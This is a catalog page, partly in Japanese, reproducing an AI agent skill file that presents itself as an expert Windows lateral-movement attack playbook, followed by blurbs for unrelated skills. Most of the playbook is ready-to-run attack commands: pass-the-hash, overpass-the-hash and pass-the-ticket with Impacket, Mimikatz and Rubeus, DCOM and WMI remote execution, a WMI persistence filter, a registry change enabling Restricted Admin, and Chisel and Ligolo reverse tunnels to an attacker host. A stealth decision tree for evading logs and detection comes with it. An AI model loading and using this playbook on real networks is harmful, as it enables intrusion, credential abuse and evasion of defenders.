windows-lateral-movement
Windows環境での横断的侵害(ラテラルムーブメント)に関するプレイブック。PsExec、WMI、WinRM、DCOM、RDP、Pass-the-Hash、Overpass-the-Hash、Pass-the-Ticketなどの手法を用いてWindowsホスト間を横断移動する際に使用します。
description の原文を見る
>- Windows lateral movement playbook. Use when pivoting between Windows hosts via PsExec, WMI, WinRM, DCOM, RDP, pass-the-hash, overpass-the-hash, or pass-the-ticket techniques.
SKILL.md 本文
SKILL: Windows Lateral Movement — Expert Attack Playbook
AI LOAD INSTRUCTION: Windows lateral movement の専門的なテクニック。PsExec、WMI、WinRM、DCOM、SMB、RDP、SSH、pass-the-hash、overpass-the-hash、pass-the-ticket、およびピボットをカバー。基本モデルは実行メソッドのフィンガープリント、OPSEC のトレードオフ、メソッドごとの認証情報タイプ要件を見落とします。
0. RELATED ROUTING
詳しく説明する前に、以下のロードを検討してください:
windows-privilege-escalation新しいホストにランディング後のローカル昇格用windows-av-evasionEDR が lateral movement ツールをブロックする場合active-directory-kerberos-attacksKerberos ベースの lateral (pass-the-ticket、delegation)active-directory-acl-abuseACL ベースの新規ホストへのパス
Advanced Reference
以下が必要な場合は CREDENTIAL_DUMPING.md もロード:
- LSASS ダンプテクニック (MiniDump、comsvcs.dll、nanodump)
- SAM/SYSTEM/SECURITY 抽出
- DPAPI、credential manager、キャッシュドメイン認証情報
- NTDS.dit 抽出メソッド
1. REMOTE EXECUTION METHODS COMPARISON
| Method | Port | Cred Type | Creates Service? | File on Disk? | OPSEC | Admin Required? |
|---|---|---|---|---|---|---|
| PsExec | 445 (SMB) | Password/Hash | Yes (PSEXESVC) | Yes (.exe) | Low | Yes |
| Impacket smbexec | 445 | Password/Hash | Yes (temp service) | No | Medium | Yes |
| Impacket atexec | 445 | Password/Hash | No (scheduled task) | No | Medium | Yes |
| WMI | 135+dynamic | Password/Hash | No | No | High | Yes |
| WinRM | 5985/5986 | Password/Hash/Ticket | No | No | High | Yes (Remote Mgmt) |
| DCOM | 135+dynamic | Password/Hash | No | No | High | Yes |
| RDP | 3389 | Password/Hash (RestrictedAdmin) | No | No | Low (GUI session) | RDP access |
| SSH | 22 | Password/Key | No | No | High | SSH enabled |
| SC | 445 | Password/Hash | Yes (custom service) | Yes | Low | Yes |
2. PSEXEC VARIANTS
Impacket PsExec
# パスワード使用
psexec.py DOMAIN/administrator:password@TARGET_IP
# NTLM hash 使用 (pass-the-hash)
psexec.py -hashes :NTLM_HASH DOMAIN/administrator@TARGET_IP
# Kerberos チケット使用
export KRB5CCNAME=admin.ccache
psexec.py -k -no-pass DOMAIN/administrator@target.domain.com
Impacket smbexec (より隠蔽的 — バイナリアップロードなし)
smbexec.py DOMAIN/administrator:password@TARGET_IP
smbexec.py -hashes :NTLM_HASH DOMAIN/administrator@TARGET_IP
Impacket atexec (スケジュールタスク)
atexec.py DOMAIN/administrator:password@TARGET_IP "whoami"
atexec.py -hashes :NTLM_HASH DOMAIN/administrator@TARGET_IP "whoami"
Sysinternals PsExec
PsExec64.exe \\TARGET -u DOMAIN\administrator -p password cmd.exe
PsExec64.exe \\TARGET -s cmd.exe & REM SYSTEM として実行 (-s)
PsExec64.exe \\TARGET -accepteula -s -d cmd.exe /c "C:\temp\payload.exe"
3. WMI LATERAL MOVEMENT
# Impacket wmiexec
wmiexec.py DOMAIN/administrator:password@TARGET_IP
wmiexec.py -hashes :NTLM_HASH DOMAIN/administrator@TARGET_IP
# Kerberos 使用
export KRB5CCNAME=admin.ccache
wmiexec.py -k -no-pass DOMAIN/administrator@target.domain.com
# PowerShell WMI プロセス作成
Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList "cmd.exe /c whoami > C:\temp\out.txt" -ComputerName TARGET -Credential $cred
# WMI イベントサブスクリプション永続性
$filterArgs = @{
EventNamespace = 'root\cimv2'; Name = 'Updater';
QueryLanguage = 'WQL';
Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
}
$filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments $filterArgs
4. WINRM LATERAL MOVEMENT
# evil-winrm (Linux から — パスワード使用)
evil-winrm -i TARGET_IP -u administrator -p password
# evil-winrm (ハッシュ使用)
evil-winrm -i TARGET_IP -u administrator -H NTLM_HASH
# evil-winrm (Kerberos 使用)
evil-winrm -i target.domain.com -r DOMAIN.COM
# PowerShell リモート処理
$cred = Get-Credential
Enter-PSSession -ComputerName TARGET -Credential $cred
# コマンドをリモート実行
Invoke-Command -ComputerName TARGET -Credential $cred -ScriptBlock { whoami }
# 複数ターゲットを同時に実行
Invoke-Command -ComputerName TARGET1,TARGET2 -Credential $cred -ScriptBlock { hostname; whoami }
5. DCOM LATERAL MOVEMENT
隠蔽的 — 正当な COM オブジェクトを使用し、サービス作成なし。
MMC20.Application
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","TARGET"))
$com.Document.ActiveView.ExecuteShellCommand("cmd.exe",$null,"/c whoami > C:\temp\out.txt","7")
ShellWindows
$com = [activator]::CreateInstance([type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-00A0C90A8F39","TARGET"))
$item = $com.Item()
$item.Document.Application.ShellExecute("cmd.exe","/c whoami > C:\temp\out.txt","C:\Windows\System32",$null,0)
ShellBrowserWindow
$com = [activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","TARGET"))
$com.Document.Application.ShellExecute("cmd.exe","/c calc.exe","C:\Windows\System32",$null,0)
Impacket dcomexec
dcomexec.py DOMAIN/administrator:password@TARGET_IP
dcomexec.py -hashes :NTLM_HASH DOMAIN/administrator@TARGET_IP -object MMC20
6. PASS-THE-HASH (PTH)
平文パスワードを知らずに NTLM ハッシュを直接使用します。
# CrackMapExec — スプレー/管理者アクセス確認
crackmapexec smb TARGETS -u administrator -H NTLM_HASH
# Impacket ツール (すべて -hashes サポート)
psexec.py -hashes :NTLM_HASH DOMAIN/user@TARGET
wmiexec.py -hashes :NTLM_HASH DOMAIN/user@TARGET
smbexec.py -hashes :NTLM_HASH DOMAIN/user@TARGET
# evil-winrm
evil-winrm -i TARGET -u user -H NTLM_HASH
# xfreerdp (Restricted Admin モード有効化が必須)
xfreerdp /v:TARGET /u:administrator /pth:NTLM_HASH /d:DOMAIN
# Mimikatz PTH (インジェクトされた認証情報を使用して新しいプロセスをスポーン)
sekurlsa::pth /user:administrator /domain:DOMAIN /ntlm:HASH /run:cmd.exe
RDP PTH の Restricted Admin 有効化
# ターゲット上 (管理者権限が必須): restricted admin 有効化
reg add HKLM\System\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /t REG_DWORD /d 0 /f
7. OVERPASS-THE-HASH (PASS-THE-KEY)
NTLM ハッシュ → Kerberos TGT → 純粋な Kerberos 認証に変換します。
# ハッシュを使用して TGT をリクエスト
getTGT.py DOMAIN/user -hashes :NTLM_HASH -dc-ip DC_IP
export KRB5CCNAME=user.ccache
# または AES256 キーを使用
getTGT.py DOMAIN/user -aesKey AES256_KEY -dc-ip DC_IP
# 後続のツールすべてで Kerberos を使用
psexec.py -k -no-pass DOMAIN/user@target.domain.com
wmiexec.py -k -no-pass DOMAIN/user@target.domain.com
# Mimikatz overpass-the-hash
sekurlsa::pth /user:user /domain:DOMAIN /ntlm:HASH /run:powershell.exe
# 新しい PowerShell セッション → klist で Kerberos TGT が表示される
利点: 純粋な Kerberos 認証により NTLM ログと検出を回避します。
8. PASS-THE-TICKET
# 既存の .ccache チケットを使用
export KRB5CCNAME=/path/to/admin.ccache
psexec.py -k -no-pass DOMAIN/admin@target.domain.com
# Mimikatz — .kirbi チケットをインジェクト
kerberos::ptt ticket.kirbi
# 確認
klist
# Rubeus
Rubeus.exe ptt /ticket:base64_blob
9. PIVOTING THROUGH COMPROMISED HOSTS
SSH トンネル / ポートフォワード
# 侵害されたホストを経由した動的 SOCKS プロキシ
ssh -D 1080 user@COMPROMISED_HOST
# proxychains で使用
# ローカルポートフォワード (内部サービスにアクセス)
ssh -L 8888:INTERNAL_TARGET:445 user@COMPROMISED_HOST
Chisel (SSH 不要)
# 攻撃者側 (サーバー)
chisel server --reverse -p 8080
# 侵害されたホスト側 (クライアント)
chisel client ATTACKER:8080 R:socks
# 攻撃者のポート 1080 に SOCKS5 プロキシを作成
Ligolo-ng (モダン、高速)
# 攻撃者側
ligolo-proxy -selfcert -laddr 0.0.0.0:11601
# 侵害されたホスト側
ligolo-agent -connect ATTACKER:11601 -retry -ignore-cert
# ligolo コンソール内
session # エージェントを選択
start # トンネルを開始
# ルート追加: sudo ip route add INTERNAL_SUBNET/24 dev ligolo
10. LATERAL MOVEMENT DECISION TREE
認証情報 / ハッシュを保有 — lateral movement が必要
│
├── どの認証情報を保有していますか?
│ ├── 平文パスワード → 任意のメソッド
│ ├── NTLM ハッシュ → PTH メソッド (§6)
│ │ ├── より隠蔽的が必要? → Overpass-the-Hash を先に実施 (§7)
│ │ └── 直接使用 → -H オプション付き psexec/wmiexec/evil-winrm
│ ├── Kerberos チケット → Pass-the-Ticket (§8)
│ └── AES キー → -aesKey 付き Overpass-the-Hash (§7)
│
├── OPSEC 優先度?
│ ├── 高い隠蔽性が必要
│ │ ├── WMI (ディスク上のファイルなし、サービスなし) → wmiexec (§3)
│ │ ├── DCOM (正当な COM を使用) → dcomexec (§5)
│ │ └── WinRM (PowerShell リモート処理) → evil-winrm (§4)
│ ├── 中程度の隠蔽性
│ │ ├── smbexec (バイナリアップロードなし) (§2)
│ │ └── atexec (スケジュールタスク、自動クリーンアップ) (§2)
│ └── 低い隠蔽性で可
│ ├── PsExec (信頼性、サービス作成) (§2)
│ └── RDP (インタラクティブ GUI) (§6)
│
├── 内部ネットワークにピボット必要?
│ ├── SSH 利用可能 → SSH トンネル / SOCKS (§9)
│ ├── SSH なし → Chisel または Ligolo-ng (§9)
│ └── 複数ホップ → SOCKS プロキシをチェーン
│
├── ターゲットのセキュリティ強化?
│ ├── SMB 署名必須 → WMI、WinRM、または DCOM
│ ├── WinRM 無効化 → WMI または DCOM
│ ├── ファイアウォール 135/445 ブロック → RDP または SSH
│ └── Restricted Admin 無効化 → RDP PTH 不可 → 他のメソッド使用
│
└── 新しいホストで認証情報をダンプ必要?
└── CREDENTIAL_DUMPING.md をロード
ライセンス: MIT(寛容ライセンスのため全文を引用しています) · 原本リポジトリ
詳細情報
- 作者
- yaklang
- リポジトリ
- yaklang/hack-skills
- ライセンス
- MIT
- 最終更新
- 不明
Source: https://github.com/yaklang/hack-skills / ライセンス: MIT
関連スキル
superfluid
Superfluidプロトコルおよびそのエコシステムに関するナレッジベースです。Superfluidについて情報を検索する際は、ウェブ検索の前にこちらを参照してください。対応キーワード:Superfluid、CFA、GDA、Super App、Super Token、stream、flow rate、real-time balance、pool(member/distributor)、IDA、sentinels、liquidation、TOGA、@sfpro/sdk、semantic money、yellowpaper、whitepaper
civ-finish-quotes
実質的なタスクが真に完了した際に、文明風の儀式的な引用句を追加します。ユーザーやエージェントが機能追加、リファクタリング、分析、設計ドキュメント、プロセス改善、レポート、執筆タスクといった実際の成果物を完成させるときに、明示的な依頼がなくても使用します。短い返信や小さな修正、未完成の作業には適用しません。
nookplot
Base(Ethereum L2)上のAIエージェント向け分散型調整ネットワークです。エージェントがオンチェーンアイデンティティを登録する、コンテンツを公開する、他のエージェントにメッセージを送る、マーケットプレイスで専門家を雇う、バウンティを投稿・請求する、レピュテーションを構築する、共有プロジェクトで協業する、リサーチチャレンジを解くことでNOOKをマイニングする、キュレーションされたナレッジを備えたスタンドアロンオンチェーンエージェントをデプロイする、またはアグリーメントとリワードで収益を得る場合に利用できます。エージェントネットワーク、エージェント調整、分散型エージェント、NOOKトークン、マイニングチャレンジ、ナレッジバンドル、エージェントレピュテーション、エージェントマーケットプレイス、ERC-2771メタトランザクション、Prepare-Sign-Relay、AgentFactory、またはNookplotが言及された場合にトリガーされます。
web3-polymarket
Polygon上でのPolymarket予測市場取引統合です。認証機能(L1 EIP-712、L2 HMAC-SHA256、ビルダーヘッダー)、注文発注(GTC/GTD/FOK/FAK、バッチ、ポストオンリー、ハートビート)、市場データ(Gamma API、Data API、オーダーブック、サブグラフ)、WebSocketストリーミング(市場・ユーザー・スポーツチャネル)、CTF操作(分割、統合、償却、ネガティブリスク)、ブリッジ機能(入金、出金、マルチチェーン)、およびガスレスリレイトランザクションに対応しています。AIエージェント、自動マーケットメーカー、予測市場UI、またはPolygraph上のPolymarketと統合するアプリケーション構築時に活用できます。
ethskills
Ethereum、EVM、またはブロックチェーン関連のリクエストに対応します。スマートコントラクト、dApps、ウォレット、DeFiプロトコルの構築、監査、デプロイ、インタラクションに適用されます。Solidityの開発、コントラクトアドレス、トークン規格(ERC-20、ERC-721、ERC-4626など)、Layer 2ネットワーク(Base、Arbitrum、Optimism、zkSync、Polygon)、Uniswap、Aave、Curveなどのプロトコルとの統合をカバーします。ガスコスト、コントラクトのデシマル設定、オラクルセキュリティ、リエントランシー、MEV、ブリッジング、ウォレット管理、オンチェーンデータの取得、本番環境へのデプロイ、プロトコル進化(EIPライフサイクル、フォーク追跡、今後の変更予定)といったトピックを含みます。
xxyy-trade
このスキルは、ユーザーが「トークン購入」「トークン売却」「トークンスワップ」「暗号資産取引」「取引ステータス確認」「トランザクション照会」「トークンスキャン」「フィード」「チェーン監視」「トークン照会」「トークン詳細」「トークン安全性確認」「ウォレット一覧表示」「マイウォレット」「AIスキャン」「自動スキャン」「ツイートスキャン」「オンボーディング」「IP確認」「IPホワイトリスト」「トークン発行」「自動売却」「損切り」「利益確定」「トレーリングストップ」「保有者」「トップホルダー」「KOLホルダー」などをリクエストした場合、またはSolana/ETH/BSC/BaseチェーンでXXYYを経由した取引について言及した場合に使用します。XXYY Open APIを通じてオンチェーン取引とデータ照会を実現します。